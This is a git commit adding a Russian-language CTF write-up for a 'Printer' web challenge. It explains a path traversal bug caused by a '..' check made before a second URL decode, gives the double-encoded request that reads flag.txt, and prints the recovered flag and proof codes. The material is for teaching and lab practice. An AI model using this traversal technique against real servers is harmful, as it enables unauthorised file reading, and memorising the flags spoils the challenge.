Init. import
This commit is contained in:
39
GAME/printer/WRITEUP.md
Normal file
39
GAME/printer/WRITEUP.md
Normal file
@@ -0,0 +1,39 @@
|
||||
# Printer — разбор решения
|
||||
|
||||
## Разведка
|
||||
- Главная страница `/` показывает список файлов в очереди печати.
|
||||
- Роут `/jobs/preview?file=...` отдаёт файл из `data/queue`.
|
||||
- В очереди есть `readme.txt`, где подсказаны каталоги `/data/notes` и `/data/queue`.
|
||||
|
||||
## Уязвимость
|
||||
В `/jobs/preview` путь для чтения строится так:
|
||||
1) `once = decodeURIComponent(raw)`
|
||||
2) Проверка `once.includes('..')`
|
||||
3) `p = decodeURIComponent(once)` (возможен и третий decode)
|
||||
4) `path.join(QUEUE_DIR, p)`
|
||||
|
||||
Проверка на `..` делается только после первого декодирования. Если закодировать точки дважды, первая проверка их не увидит, а после второго decode появится `..` и сработает обход в `../`.
|
||||
|
||||
## Эксплуатация
|
||||
Дважды кодируем `..` и `/`:
|
||||
- `..` → `%2e%2e` → `%252e%252e`
|
||||
- `/` → `%2f` → `%252f`
|
||||
|
||||
Запрос:
|
||||
```
|
||||
/jobs/preview?file=%252e%252e%252fnotes%252fflag.txt
|
||||
```
|
||||
|
||||
Промежуточные преобразования:
|
||||
- после первого decode: `%2e%2e%2fnotes%2fflag.txt` (нет `..`)
|
||||
- после второго decode: `../notes/flag.txt`
|
||||
|
||||
`path.join` формирует путь `data/queue/../notes/flag.txt`, что приводит к чтению флага.
|
||||
|
||||
## Результат
|
||||
Ответ содержит содержимое `flag.txt`, включая флаг:
|
||||
```
|
||||
caplag{chain_m_printer_traversa}
|
||||
PRINTER_PROOF=printer-proof-3d3130
|
||||
GAME_code=Printer-1s-down-move-next
|
||||
```
|
||||
Reference in New Issue
Block a user